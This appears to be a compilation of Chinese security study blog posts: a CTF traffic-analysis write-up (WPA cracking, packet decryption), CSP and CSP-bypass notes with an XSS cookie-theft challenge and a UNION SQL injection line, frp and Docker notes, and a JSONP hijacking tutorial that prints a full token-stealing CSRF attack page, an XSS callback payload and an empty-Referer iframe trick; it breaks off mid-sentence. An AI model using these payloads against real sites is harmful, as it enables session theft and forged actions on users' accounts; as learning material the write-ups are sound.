0%

数据包分析

下载完数据包之后,protocol全都是802.11,考虑数据包被加密了,接下来进行解密。
使用aircrack-ng 对数据包进行解密,使用的字典为fuzzdict wifipwdtop2000。

跑出来wifi密码为12345678,结合SSID对数据包进行解密。

数据包解密

首选项-协议-IEEE802.11-编辑decryption keys。
type选择wpa-pwd,格式为 wifi密码:SSID
也可以从https://www.wireshark.org/tools/wpa-psk.html 根据wifi密码和SSID生成PSK,type选择PSK就好。
点击确认后就可以在数据包页面看到解密的分组了。
首先过滤http和tcp分组,语法为:http and tcp
过滤后发现有上传图片的分组,遂过滤之,取其数据并导出。
导出方法:
选择分组,在分组详情那选中media type 就可以自动选择媒体数据。 然后右键导出分组字节流就可以导出图片了。

图片分析

习惯性地丢到binwalk分析,分离出来一个压缩包,有密码,不是伪加密,考虑从数据包找答案。
其实做到这里有点没思路了,看了看解析发现接下来做下去要看session。session是JWT格式,
还原地址:https://www.jstoolset.com/jwt
还原后:
提示压缩包密码是刚才ping过的一个网站,于是搜索icmp协议,但是没有。

柳暗花明

去ping域名的话会先进行dns解析,于是过滤dns协议,在最后一个dns协议包里面找到ping的域名,作为压缩包密码填进去,得到flag。

参考链接:
https://www.zhihu.com/question/21979782
https://xz.aliyun.com/t/5084#toc-2
https://www.cnblogs.com/thenbz3/p/11863641.html

CSP的概念

CSP 是 Content Security Policy 的缩写,即内容安全策略。CSP旨在减少XSS攻击,具体原理是通过设置response header或者在页面中使用meta标签规定受信任的、可执行的JS、图片、iframe、style来源。
任何不符合CSP规则的资源都将无法被加载。

CSP示例

1
2
Content-Security-Policy: script-src 'self'; object-src 'none'; 
style-src cdn.example.org third-party.org; child-src https:

资源限制类型(引用):
script-src:外部脚本 指定了允许从哪里加载JS脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
default-src ‘self’ 该属性值为self时只允许本站资源加载。设置了这个就为上述属性设置了默认值‘self’
上述属性如果不明确指定的话则默认范围是*,即允许所有。
script-src属性里面 设置unsafe-inline 允许内嵌的脚本及样式 不写这个默认不允许。
script-src属性里面 设置unsafe-eval 允许通过字符串动态创建的脚本执行,比如 eval,setTimeout 等。不写这个默认不允许。
script-src ‘nonce-EDNnf03nceIOfn39fn3e9h3sdfa’ 这句话的意思是说只允许nonce值为EDNnf03nceIOfn39fn3e9h3sdfa的脚本执行。() 同理也可以设置hash值。

CSP绕过

CSP绕过我只使用过一种方法,就是Location.href,其他的方法暂时没有尝试过,在 https://xz.aliyun.com/t/5084#toc-2 这篇文章里面写的挺多的,可以仔细阅读。
另外一种我感觉有意思的绕过就是CRLF注入绕过,在CSP之前找到CRLF注入点来两个CRLF把CSP挤到body里面。。高,实在是高

CSP BYPASS实例

这道题是CSICN_华东北赛区_WEB2 在buuoj有复现。
其他的点我看网上都说的差不多了 唯独CSP Bypass说的不详细,这里我详细说一下CSP绕过,其他的不仔细说,就简要说一下如何成功拿到flag。
有个投稿和反馈,说了管理员会查看,猜测XSS拿cookie。提交申请时需要爆破md5,好说,写脚本即可。
先尝试随便投稿
投稿后查看页面,发现存在CSP,所以需要绕过csp。
接下来进行XSS,由于过滤了很多关键字,所以考虑HTML实体编码—把字母转ascii并在前面加上&#后面加上;
标签可以嵌入JS代码。
直接用XSS平台的payload的话会这样:

接下来使用location.href绕过。
爆破完md5后管理员点击完在XSS平台就收到cookie啦。
接下来是联合注入,最后一句话是-1 union select 1,2,flagg from ciscn.flag,得到flag

总结

这道题时隔一年才弄明白CSP是怎么回事,属实我的问题,继续学习,继续努力。

参考链接

https://blog.csdn.net/fjh1997/article/details/100850756
https://zhuanlan.zhihu.com/p/45445979
最近在搭建学校的网络安全训练平台,使用的是CTFD+CTF-Whale组件生成动态独立靶机,由此引发了对内网穿透的思考。
首先理解什么是内网穿透

内网穿透的概念

了解内网穿透前,需要了解内网穿透这个需求出现的原因。
ipv4地址稀缺,于是出现了NAT,NAPT技术实现IP”复用”。
NAT:
将私网地址通过NAT网关转换成公网地址,同时通信的数量受NAT网关公网地址数限制。
NAPT:
将私网地址和端口号通过NAPT网关转换成公网地址:端口号,NAPT网关维护一张映射表,记录公网ip:port和私网ip:port的对应关系。
这样可以大幅度降低对公网IP的需求量。
为什么需要内网穿透?
我家电脑是移动的,没有给分配独立的公网IP,我在本机搭建的http服务无法被公网看到。为了解决这类问题,内网穿透技术应需求而生。
比如访问我家电脑8888端口的web服务,直接访问我ipip.net看到的ip地址:8888是无法访问的,因为NAT网关没有8888出站记录 的映射关系。
内网穿透概念(复制):
内网穿透是我们在进行网络连接时的一种术语,也叫做NAT穿透,即在计算机是局域网内的时候,外网与内网的计算机的节点进行连接时所需要的连接通信,有时候就会出现内网穿透不支的情况。内网穿透的功能就是,当我们在端口映射时设置时,内网穿透起到了地址转换的功能,也就是把公网的地址进行翻译,转成为一种私有的地址,然后再采用路由的方式ADSL的宽带路由器,具有一个动态或者是固定的公网IP,最后ADSL直接在交换机上,这样所有的电脑都可以共享上网。内网穿透除了可以实现内网之间机器的网络通信功通之外,还可以解决UDP中出现的数据传输不稳定问题。
看了两张图感觉写的比较好

内网穿透的思路

内网电脑主动发消息给公网服务器,相当于公网服务器在转发内网服务器的数据,使用第三台机器访问公网服务器的时候即可访问内网服务器提供的服务。这受公网服务器带宽限制。

内网穿透实现(frp)

网络结构: 服务器为Windows10,移动大内网xD,服务器是我科学上网用的vps,有独立的公网IP。
软件安装:首先在github上下载对应系统架构的frp,Windows比较好选,我出问题的是vps的版本选择,一开始选的是amd64版本,但是无法执行bin file,使用arch命令查看架构后才发现架构为i686,是32位系统。。。哎。
软件配置: 软件配置参考https://zhuanlan.zhihu.com/p/45445979 这里不想在详细展开说,注意几点,就是不能人家写什么你就写什么,需要明白各个配置的意义,否则你搁这穿什么呢?
vhost_http_port 参数配置的是web服务的端口,需要在frpc客户端定义domain(没有的话就写服务器ip),指明本地web服务端口。

参考链接:
https://www.zhihu.com/question/331023021
https://www.zhihu.com/question/48174633/answer/616413576
别人说的话我就不复制粘贴了,挑一些我个人认为比较有意思的点和比较基础的点说一下。

docker的一些概念

image

image是一堆只读层的统一视角,UFS技术可以把这一对只读层整合成一个文件系统

container

容器就是在image上面加了一个可读可写层。
container=image+ R&W Layer
docker start=docker create & docker run

Repository

Repository意思为仓库,类似github上面有很多代码可以clone到本地,在docker中就相当于可以pull镜像到本地。官方的仓库是docker hub

Registry

Registry是私有仓库,Registry包含了一个或多个Repository,每个Repository可以有多个Tag,每个Tag对应一个image。
我理解的docker是”轻量级”虚拟机。这个概念应该不是正确的,因为虚拟机和docker的区别还是挺大的,再多抽象几层我感觉这么理解也可以
docker的方便之处在于不需要像虚拟机一样重新虚拟出来硬件和操作系统,docker只需要pull镜像直接用就行。
docker可以快速部署的另一个原因除了是分层可复用之外,就是可以”一键”安装所需依赖。我理解的是类似makefile。
dockerfile类似makefile,但是一个dockerfile对应一个容器或者说对应着一个服务(如MySQL)然后docker-compose.yml 包含一个个dockerfile文件形成了一个工程。
docker 进程会对每个容器的资源进行管理。
docker的镜像分层我认为是比较有意思的,有点类似面向对象编程思想的”继承”。
docker的基础镜像应该是最大的,但是从基础镜像新建一个镜像的话,并不需要复制所有内容,即不需要占用两倍的存储空间,只需要把不一样的保存下来就好。
这得益于Linux的COW策略。即:没写过文件的不用动,写过的文件保存成新的文件。
docker会在容器最上层创建一个读写层,用来保存对基础镜像的修改操作操作的文件。

docker与虚拟机的区别

首先是虚拟化层次不一样。虚拟机完整地虚拟了内核和用户空间,而docker仅仅是虚拟了用户空间,内核用的是操作系统的内核。每个容器只是说相互之间的应用、依赖不同,但其最底层的镜像应该是相同的。他们用共同一个基础镜像,对基础镜像有修改,这个修改保存到各个容器内部,docker进程对容器之间进行隔离。
docker启动速度快,占用资源少;而虚拟机启动速度慢,消耗资源多。
这里引用两句话,感觉说的非常好:
“其实最大的区别在于应用场景的不同:虚拟机最开始出现是为了模拟不同的硬件平台,但是现在云计算时代是为了提供的计算能力的虚拟化,这样可以快速灵活的划分和分配计算资源。容器则是随着应用程序的架构发展所自然衍生出来的东西。当软件越来越复杂,单体应用没法再发展下去了,每个功能逐渐独立出来,出现面向服务的架构,进而出现所谓微服务的架构。“

参考链接:
https://cloud.tencent.com/developer/article/1516219
https://blog.csdn.net/u011089760/article/details/93550458
https://blog.csdn.net/qq_37133717/article/details/105749589
https://blog.csdn.net/tianjindong0804/article/details/84971922
https://archive.phocean.net/2013/10/13/csrf-with-jsonp.html

JSON

谈jsonp之前,首先明白什么是json。
json全称JavaScript Object Notation,JS对象标记,是一种轻量级的数据交换方式,JSON最常用的是对象的键值对,有点像python中dict数据结构。
例如{“k1”:”v1”,”k2”:”v2”}

JSON Hijacking

JSON劫持通过诱导用户点击恶意文件,重写Array()构造函数的方法,将json数据发送给攻击者。
JSON劫持步骤(参考)
1)重新定义数组构造函数Array = function() 并将数组赋值给我们定义的全局变量;

2)向目标网站发送一条请求,借用被攻击者的session权限;

3)将获得的数据赋给yourData,从而进行任意处理。

其中第一步的函数覆盖是关键,可以JS中的方法覆盖的特性或者使用JS的特殊方法Object.prototype.defineSetter等。(这个函数在新版chrome和firefox已失效。)

JSONP

什么是JSONP?JSONP是带有填充(Padding)的JSON数据。
JSONP为了解决跨域问题,我们知道,JS,XHR(AJAX)可以发起跨域请求,但是拿不到跨域请求的资源(或者说看不到响应、拿不到响应数据)

JSONP最大的特征是回传。
使用方法为在页面中加入<script>标签,src属性为请求的JS资源的URL,最后加上回调函数的名称,比如
请求URL为:www.test.io/1.php?callback=cb
然后在当前页面需要写一个JS函数:

1
2
3
4
function cb(data)
{
alert(data.username)
}

举个例子:
前端页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <title>hack</title>
    <script type="text/javascript">
      function resolveJson(result) { //浏览器端代码
          alert(result.name);
      }
    </script>
    <script type="text/javascript" src="http://test2.io/jsonp.php?callback=resolveJson"></script>

  </head>
  <body>
  </body>
</html>

后端处理:

1
2
3
4
5
<?php
$callback = $_GET['callback'];
$arr = array("name" => "alsy", "age" => "20");
echo $callback."(". json_encode($arr) .");";
?>

效果:

JSONP注入

由于传的callback内容是自定义的,所以可能会导致XSS(返回包content-type为text/html的话)
如传入的?callback=callback=alert(‘xss’)

JSONP劫持

JSONP劫持的目的是盗取用户敏感数据,或者拿到token进行CSRF利用
JSON劫持与JSONP注入的异同:
同:都可以劫持用户数据,盗取敏感信息,挂马等操作
异:jsonp返回的数据有callback函数名包裹。
jsonp注入还可以造成xss。

JSONP劫持流程

1.用户登录存在JSONP劫持的网站,通常参数存在callback 或者htmlback
2.用户携带身份信息访问攻击者编写的页面。
3.攻击者编写的页面自定义了callback函数名,并且通过script标签像用户隐私数据发起请求(这里需要用到用户身份信息)
4.用户访问攻击页面后,携带身份信息访问攻击者指定的JSONP数据,并且在当前攻击页面的回调函数中完成操作(该操作可能是发送隐私信息给攻击者,也可能是拿token进行csrf)

#JSONP与CSRF
思路:通过JSONP得到页面的token,然后生成表单,写上token,发送请求。攻击页面代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
// 获取对象中的属性值
var content = obj['html']
// 正则匹配出参数值
var token=content.match('token = "(.*?)"')[1];
// 添加表单节点
var parent=document.getElementById("test");
var child=document.createElement("form");
child.method="POST";
child.action="http://vuln.com/del.html";
child.id="test1"
parent.appendChild(child);
var parent_1=document.getElementById("test1");
var child_1=document.createElement("input");
child_1.type="hidden";child_1.name="token";child_1.value=token;
var child_2=document.createElement("input");
child_2.type="submit";
parent_1.appendChild(child_1);
parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

实现JSONP+CSRF有些难度,首先需要存在jsonp劫持,其次能在源码里找到token,最后需要绕过referer限制。

referer绕过策略:

1.空referrer:

在很多情况下,开发者在部署过滤 Referer 来源时,忽视了一个空 Referer 的过滤。一般情况下浏览器直接访问某 URL 是不带 Referer 的,所以很多防御部署是允许空 Referer 的。恰恰也就是这个忽视,导致了整个防御的奔溃。因为在通过跨协议调用 js 时,发送的 http 请求里 Referer 为空! 跨协议调用的一个简单例子:

1
<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>

代码里我们使用